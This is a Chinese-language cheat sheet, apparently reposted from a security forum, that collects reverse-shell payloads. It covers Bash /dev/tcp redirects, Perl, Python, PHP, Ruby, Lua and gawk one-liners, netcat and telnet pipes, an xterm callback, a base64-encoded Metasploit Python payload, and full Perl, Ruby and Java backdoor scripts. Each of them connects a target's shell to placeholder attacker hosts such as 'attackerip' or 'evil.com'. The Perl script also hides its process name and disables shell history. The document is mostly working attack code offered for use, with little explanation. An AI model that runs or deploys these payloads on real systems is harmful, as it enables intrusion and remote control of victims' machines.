[前言：在烏云社區(qū)看到反彈shell的幾種姿勢，考慮到烏云社區(qū)不完全對外開放，干脆自己轉(zhuǎn)一下以作分享，另外還收集了點(diǎn)其他的，應(yīng)該較為全面]
0x01 Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
這里shell由bash解析，有時(shí)候是由sh解析，不一定百發(fā)百中gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上還有一種不同的方法,評論中也有一些想法：
###$ nc -l -p 8080 -vvv$ exec 5<>/dev/tcp/evil.com/8080$ cat <&5 | while read line; do $line 2>&5 >&5; done
另外還可以是：
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
0x02 Perlperl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
不依賴于/bin/sh的shell：
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
系統(tǒng)運(yùn)行windows時(shí)：
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
再給出一個(gè)完整的Perl的反彈腳本：
1 #!/usr/bin/perl -w 2 # perl-reverse-shell - A Reverse Shell implementation in PERL 3 use strict; 4 use Socket; 5 use FileHandle; 6 use POSIX; 7 my $VERSION = "1.0"; 8 9 # Where to send the reverse shell. Change these.10 my $ip = '127.0.0.1';11 my $port = 1234;12 13 # Options14 my $daemon = 1;15 my $auth = 0; # 0 means authentication is disabled and any 16 # source IP can access the reverse shell17 my $authorised_client_pattern = qr(^127\.0\.0\.1$);18 19 # Declarations20 my $global_page = "";21 my $fake_process_name = "/usr/sbin/apache";22 23 # Change the process name to be less conspicious24 $0 = "[httpd]";25 26 # Authenticate based on source IP address if required27 if (defined($ENV{'REMOTE_ADDR'})) {28 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");29 30 if ($auth) {31 unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {32 cgiprint("ERROR: Your client isn't authorised to view this page");33 cgiexit();34 }35 }36 } elsif ($auth) {37 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");38 cgiexit(0);39 }40 41 # Background and dissociate from parent process if required42 if ($daemon) {43 my $pid = fork();44 if ($pid) {45 cgiexit(0); # parent exits46 }47 48 setsid();49 chdir('/');50 umask(0);51 }52 53 # Make TCP connection for reverse shell54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {56 cgiprint("Sent reverse shell to $ip:$port");57 cgiprintpage();58 } else {59 cgiprint("Couldn't open reverse shell to $ip:$port: $!");60 cgiexit(); 61 }62 63 # Redirect STDIN, STDOUT and STDERR to the TCP connection64 open(STDIN, ">&SOCK");65 open(STDOUT,">&SOCK");66 open(STDERR,">&SOCK");67 $ENV{'HISTFILE'} = '/dev/null';68 system("w;uname -a;id;pwd");69 exec({"/bin/sh"} ($fake_process_name, "-i"));70 71 # Wrapper around print72 sub cgiprint {73 my $line = shift;74 $line .= "<p>\n";75 $global_page .= $line;76 }77 78 # Wrapper around exit79 sub cgiexit {80 cgiprintpage();81 exit 0; # 0 to ensure we don't give a 500 response.82 }83 84 # Form HTTP response using all the messages gathered by cgiprint so far85 sub cgiprintpage {86 print "Content-Length: " . length($global_page) . "\r87 Connection: close\r88 Content-Type: text\/html\r\n\r\n" . $global_page;89 }
0x03 Python #測試環(huán)境為Linux Python2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
只用一行的形式：#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]還有其他一行解決的代碼
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
另外Metasploit版的代碼：
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
0x04 PHP #代碼假設(shè)TCP連接的文件描述符為3，如果不行可以試下4,5,6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'[https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]為一個(gè)上傳的完整php反彈shell腳本
0x05 Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
不依賴于/bin/sh的shell：
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
如果目標(biāo)系統(tǒng)運(yùn)行Windows：
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
當(dāng)然還有我們很熟悉的MSF模塊里面也是有反彈shell的：
#!/usr/bin/env rubyrequire 'socket'require 'open3'#Set the Remote Host IPRHOST = "192.168.1.10" #Set the Remote Host PortPORT = "6667"#Tries to connect every 20 sec until it connects.beginsock = TCPSocket.new "#{RHOST}", "#{PORT}"sock.puts "We are connected!"rescue sleep 20 retryend#Runs the commands you type and sends you back the stdout and stderr.begin while line = sock.gets Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | IO.copy_stream(stdout_and_stderr, sock) end endrescue retryend
0x06 NetCat
nc -e /bin/sh 10.0.0.1 1234 #不同版本的nc不一定支持-e選項(xiàng)
不能使用-e選項(xiàng)時(shí)：
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/
安裝的NC版本有問題時(shí)：
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
0x07 Java
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
msf使用為： use payload/java/shell/reverse_tcp
再見一段長代碼：
import java.io.*;import java.net.Socket;import java.util.*;import java.util.regex.*;import java.applet.Applet;public class poc extends Applet{ /** * Author: daniel baier alias duddits * Licens: GPL * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher * Version: 0.1 alpha release */ public String cd(String start, File currentDir) { File fullPath = new File(currentDir.getAbsolutePath()); String sparent = fullPath.getAbsoluteFile().toString(); return sparent + "/" + start; } @SuppressWarnings("unchecked") public void init() { poc rs = new poc(); PrintWriter out; try { Socket clientSocket = new Socket("192.168.5.222",10003); out = new PrintWriter(clientSocket.getOutputStream(), true); out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier"); boolean run = true; String s; BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); String startort = "/"; while (run) { String z1; File f = new File(startort); out.println(f.getAbsolutePath() + "> "); s = br.readLine(); z1 = s; Pattern pcd = Pattern.compile("^cd\\s"); Matcher mcd = pcd.matcher(z1); String[] teile1 = pcd.split(z1); if (s.equals("exit")) { run = false; }else if (s.equals(null) || s.equals("cmd") || s.equals("")) { } else if(mcd.find()){ try { String cds = rs.cd(teile1[1], new File(startort)); startort = cds; } catch (Exception verz) { out.println("Path " + teile1[1] + " not found."); } }else { String z2; z2 = s; Pattern pstring = Pattern.compile("\\s"); String[] plist = pstring.split(z2); try { LinkedList slist = new LinkedList(); for (int i = 0; i < plist.length; i++) { slist.add(plist[i]); } ProcessBuilder builder = new ProcessBuilder(slist); builder.directory(new File(startort)); Process p = builder.start(); Scanner se = new Scanner(p.getInputStream()); if (!se.hasNext()) { Scanner sa = new Scanner(p.getErrorStream()); while (sa.hasNext()) { out.println(sa.nextLine()); } } while (se.hasNext()) { out.println(se.nextLine()); } } catch (Exception err) { out.println(f.getAbsolutePath() + "> Command " + s + " failed!"); out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin."); } } } if(!clientSocket.isConnected()){ run = false; out.flush(); out.close(); } } catch (Exception io) { //System.err.println("Connection refused by peer"); } }}
0x08 Telnet #nc不可用或/dev/tcp不可用時(shí)
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
0x09 Xterm
首先開啟Xserver： # TCP 6001
Xnest :1 # Note: The command starts with uppercase X
授予目標(biāo)機(jī)連回來的權(quán)限：
xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tabxhost +targetip # Run this INSIDE the spawned xterm on the open X Server
如果想讓任何人都連上：
xhost + # Run this INSIDE the spawned xterm on the open X Server假設(shè)xterm已安裝，連回你的Xserver：
xterm -display attackerip:1
或者：
$ DISPLAY=attackerip:0 xterm
0x10 gawk
#!/usr/bin/gawk -fBEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) }}
0x11 烏云上一個(gè)lua實(shí)現(xiàn)
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"msf反彈： use payload/cmd/unix/reverse_lua
